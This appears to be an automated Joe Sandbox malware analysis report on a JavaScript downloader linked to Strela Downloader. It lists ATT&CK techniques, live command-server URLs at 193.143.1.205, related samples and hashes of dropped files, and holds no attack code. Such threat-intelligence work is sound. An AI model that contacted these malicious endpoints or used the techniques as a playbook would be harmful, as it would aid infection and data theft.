Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
86328271623317904.js	8%	ReversingLabs
86328271623317904.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.23	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2238913844.000001D644800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3448799113.000001D644600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2232819848.000001A2277E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2232819848.000001A22783E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232819848.000001A2277E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232819848.000001A227825000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/R	net.exe, 00000007.00000002.2232819848.000001A227825000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/r	net.exe, 00000007.00000002.2232819848.000001A227825000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588134
Start date and time:	2025-01-10 21:41:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	86328271623317904.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 217.20.57.23, 2.16.168.105, 2.16.168.107, 23.40.179.21, 23.40.179.22, 23.40.179.71, 23.40.179.35, 23.40.179.29, 23.40.179.19, 23.40.179.56, 23.40.179.9, 13.107.246.45, 34.237.241.83, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:42:19	API Interceptor	23x Sleep call for process: powershell.exe modified
15:42:23	API Interceptor	1x Sleep call for process: net.exe modified
15:42:23	API Interceptor	2x Sleep call for process: svchost.exe modified
15:42:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263333315695155
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0e:9JZj5MiKNnNhoxu7
MD5:	591D8D2901CD68F19E0A4F38F531F770
SHA1:	BC23DF72AC0ED8CC37D2E27BC59744B14C23CCE2
SHA-256:	CEB261D0132AFB0CA03C2CB5A150B96F8EA55CFA7724113C96D25D0DC717FD56
SHA-512:	917D0341AE319A006ABCFC3B76DFF173BA07B470174440462482174A375B0B96C9740F9610214802E02FE439E3524F737D26F50A06CF3603D934384974EDDC4A
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x34588a27, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555790911752502
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	054A6A94F00D648F3921DBD4C57B06FB
SHA1:	B175D0A7AB5AD60B06BFDA3A73CD4D3E2665FBB8
SHA-256:	C607105735D8BAB397B3476153DAB45526A5829DA94E070693483097CE0E71CE
SHA-512:	C32B6D3DDE867DF1798E97136C90C4C9CE516BC9F4577BAF6555E2E832E432BB2A474F933482B68F4268ED180E70ADA0A09B5ECED3B2AB9724D3280177591CB4
Malicious:	false
Preview:	4X.'... .......7.......X\...;...{......................0.e......!...{?.....}%.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................g7W.....}].................H..L.*...}%..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07953864414285002
Encrypted:	false
SSDEEP:	3:XmllllEYeKJvY3rfNaAPaU1lBptxvYlXalluxmO+l/SNxOf:XWlyzovaTNDPaUXtxvIegmOH
MD5:	8779274B3F5737F8096607B91FD13010
SHA1:	964EBCA94BCC9CD5A49D644CCBB0591F83575040
SHA-256:	D824B900C1B038185AC606E47B9B79647436B4A7444BF419AFB5DB62A2CD4CEE
SHA-512:	C83D37F66C60ECF8362FA28D0BA9B1F65E9CC05C134EA1DAED10FE1A81A0A51D35771280A37D0F0C523B3A75A7282A2AB9772C84B652399DAFFD9872DADC361F
Malicious:	false
Preview:	3k.j.....................................;...{......}%..!...{?..........!...{?..!...{?..g...!...{?.................H..L....}%.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.107591271865542
Encrypted:	false
SSDEEP:	6:iO4UOelyq2PN72nKuAl9OmbnIFUtSUOG1ZmwsUOHFlRkwON72nKuAl9OmbjLJ:7hGvVaHAahFUtLr1/1CFz5OaHAaSJ
MD5:	B4BB36A7DA8A85D9E4F98E2AF642646A
SHA1:	2E46D7676FC3687887CC3F81967C552759025450
SHA-256:	E485AF0AE57808351E0B58757FF7917487E389470D4E2A4A955CB0671C40A813
SHA-512:	A2B5B2BF1D987B12CE49378CF583D63044FCF01665A5EEB03B8FBFCE4E8B7446453E6B6FFDCA2E6245B02DB3E766D8ABF0A6BC4AC5425C3368E23E8CFFA46D60
Malicious:	false
Preview:	2025/01/10-15:42:24.032 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:42:24.034 1c14 Recovering log #3.2025/01/10-15:42:24.035 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.107591271865542
Encrypted:	false
SSDEEP:	6:iO4UOelyq2PN72nKuAl9OmbnIFUtSUOG1ZmwsUOHFlRkwON72nKuAl9OmbjLJ:7hGvVaHAahFUtLr1/1CFz5OaHAaSJ
MD5:	B4BB36A7DA8A85D9E4F98E2AF642646A
SHA1:	2E46D7676FC3687887CC3F81967C552759025450
SHA-256:	E485AF0AE57808351E0B58757FF7917487E389470D4E2A4A955CB0671C40A813
SHA-512:	A2B5B2BF1D987B12CE49378CF583D63044FCF01665A5EEB03B8FBFCE4E8B7446453E6B6FFDCA2E6245B02DB3E766D8ABF0A6BC4AC5425C3368E23E8CFFA46D60
Malicious:	false
Preview:	2025/01/10-15:42:24.032 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:42:24.034 1c14 Recovering log #3.2025/01/10-15:42:24.035 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.142478931471275
Encrypted:	false
SSDEEP:	6:iO4UuxRFIq2PN72nKuAl9Ombzo2jMGIFUtSUuOhZmwsUupUGTkwON72nKuAl9OmT:7huXFIvVaHAa8uFUtLuOh/1u605OaHAv
MD5:	B4B55F0A1183B646A846A7EA9EC4ABE5
SHA1:	437AA4E3E3B3409B64D3768B6F1EDA32323A6D37
SHA-256:	3D0A7EA47E298D89435ED7AF59A41C87DF185FC980054F6B2C763F40AFAFE2A9
SHA-512:	E52DA6658B7F817EA6ABE690A8034FA74B5791DD4CB2D8FF0E47B2A1BE25CA1862A8BC61FF82A5C41153F112FA90DA01C28C653D16B6C6F56A60DDF24EA82D16
Malicious:	false
Preview:	2025/01/10-15:42:24.126 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:42:24.138 1c64 Recovering log #3.2025/01/10-15:42:24.140 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.142478931471275
Encrypted:	false
SSDEEP:	6:iO4UuxRFIq2PN72nKuAl9Ombzo2jMGIFUtSUuOhZmwsUupUGTkwON72nKuAl9OmT:7huXFIvVaHAa8uFUtLuOh/1u605OaHAv
MD5:	B4B55F0A1183B646A846A7EA9EC4ABE5
SHA1:	437AA4E3E3B3409B64D3768B6F1EDA32323A6D37
SHA-256:	3D0A7EA47E298D89435ED7AF59A41C87DF185FC980054F6B2C763F40AFAFE2A9
SHA-512:	E52DA6658B7F817EA6ABE690A8034FA74B5791DD4CB2D8FF0E47B2A1BE25CA1862A8BC61FF82A5C41153F112FA90DA01C28C653D16B6C6F56A60DDF24EA82D16
Malicious:	false
Preview:	2025/01/10-15:42:24.126 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:42:24.138 1c64 Recovering log #3.2025/01/10-15:42:24.140 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.97196132533112
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqR2sBdOg2HZcaq3QYiubcP7E4T3y:Y2sRds+bdMHg3QYhbA7nby
MD5:	A8245F025E614515C6314A9D15ACA39A
SHA1:	D531A01EABE3FC260F742C01DF95F955695C90CA
SHA-256:	C2C6FBAA1795824E8D893A0C814FF2EF3DB84267E3B670DFFC8FFEE61C84F254
SHA-512:	0F829BB8427EE50141D3FEFCE0E0443FD824113E744740A9746BB3F38F1E4BA499C869AE0FF11280335A14F77116E4D51AD43895D3C5E96EBE6762BB2D334FB6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381101755109805","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130975},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d8397110-f449-403c-a53a-554af80858c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97196132533112
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqR2sBdOg2HZcaq3QYiubcP7E4T3y:Y2sRds+bdMHg3QYhbA7nby
MD5:	A8245F025E614515C6314A9D15ACA39A
SHA1:	D531A01EABE3FC260F742C01DF95F955695C90CA
SHA-256:	C2C6FBAA1795824E8D893A0C814FF2EF3DB84267E3B670DFFC8FFEE61C84F254
SHA-512:	0F829BB8427EE50141D3FEFCE0E0443FD824113E744740A9746BB3F38F1E4BA499C869AE0FF11280335A14F77116E4D51AD43895D3C5E96EBE6762BB2D334FB6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381101755109805","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130975},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249909638626135
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7c/U1:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh9
MD5:	32F3F43B249D0498CE5965127F0F23A7
SHA1:	44A79DFC2AD25C4F042F03E1DB9D1985A08F8734
SHA-256:	4CCCA635A60979D4D182580B42C9A20E1B07AEBF249CEEA5B1DBBEB306D09BEC
SHA-512:	0707E5714AFE5279CC2FC6CF89BC3FF5760E4F7C06F6947D7F468ED0A220DF9BA8F16F5EC9646AF387D4940FE9C04E53F5A11A71613B32C9B1B6E2D1CAEE7401
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.138738541574996
Encrypted:	false
SSDEEP:	6:iO4Uqwq2PN72nKuAl9OmbzNMxIFUtSUqAu0ZmwsUqCJkwON72nKuAl9OmbzNMFLJ:7hqwvVaHAa8jFUtLqR0/1qCJ5OaHAa8E
MD5:	791D526066E1B9307B2D068593F8F39A
SHA1:	FF9DDEE424140888012B9EE7612A1E1D7DB9FA41
SHA-256:	DA18B179EBFBF3831E561B0EB92E71B3626B16BA9BA63557E4A090767FD44E51
SHA-512:	A892CCA0E5CA927D84FCB549BBEBB7EA4C3B7A97CB7E024ADCECE6EE00E6E9A66FC1D896FF3D02ECDB25E309B7E679FABA6ED2B8364D7B87328E4D9389CFFAA7
Malicious:	false
Preview:	2025/01/10-15:42:24.511 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:42:24.525 1c64 Recovering log #3.2025/01/10-15:42:24.527 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.138738541574996
Encrypted:	false
SSDEEP:	6:iO4Uqwq2PN72nKuAl9OmbzNMxIFUtSUqAu0ZmwsUqCJkwON72nKuAl9OmbzNMFLJ:7hqwvVaHAa8jFUtLqR0/1qCJ5OaHAa8E
MD5:	791D526066E1B9307B2D068593F8F39A
SHA1:	FF9DDEE424140888012B9EE7612A1E1D7DB9FA41
SHA-256:	DA18B179EBFBF3831E561B0EB92E71B3626B16BA9BA63557E4A090767FD44E51
SHA-512:	A892CCA0E5CA927D84FCB549BBEBB7EA4C3B7A97CB7E024ADCECE6EE00E6E9A66FC1D896FF3D02ECDB25E309B7E679FABA6ED2B8364D7B87328E4D9389CFFAA7
Malicious:	false
Preview:	2025/01/10-15:42:24.511 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:42:24.525 1c64 Recovering log #3.2025/01/10-15:42:24.527 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444808979892159
Encrypted:	false
SSDEEP:	384:ie8ci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:E6s3OazzU89UTTgUL
MD5:	9775D92235E0AD09FA069287D319324A
SHA1:	DA63F8B82FBE66C731497C119267855E0C43496D
SHA-256:	47391369222923002432AAA11112E26DB44D2DE65E0FF52196B37AB94B9A5DF3
SHA-512:	DF68F0698B4F88B1BBBC53BCA69F33C2A1882C0B8172534709D56CBB667E0BED84A70699B22B5F55EBAFBB78685187C4DA643C700BD283801903B070D602F0A6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2130454382342877
Encrypted:	false
SSDEEP:	24:7+tsnnuwKtqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9b:7MAnCtq/mFTIF3XmHjBoGGR+jMz+Lhh
MD5:	DE177F453304BEB25CF30A66D6EBE3FD
SHA1:	6D59D22C47969DEF631A6E96C9959CD2028D5951
SHA-256:	C409AE57927BC334D24293C63487C22ABCE70A9B7FE9ED3105A2C28C54D4F06B
SHA-512:	9F47757BB69CF54C6A6F7FBD6AF6253744AA0314948E2FF4B7F50A1DD538203669383AB4337E71597653A8B7ABCED26268BC9BC16D769283313D7DC63146FCD3
Malicious:	false
Preview:	.... .c......x/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
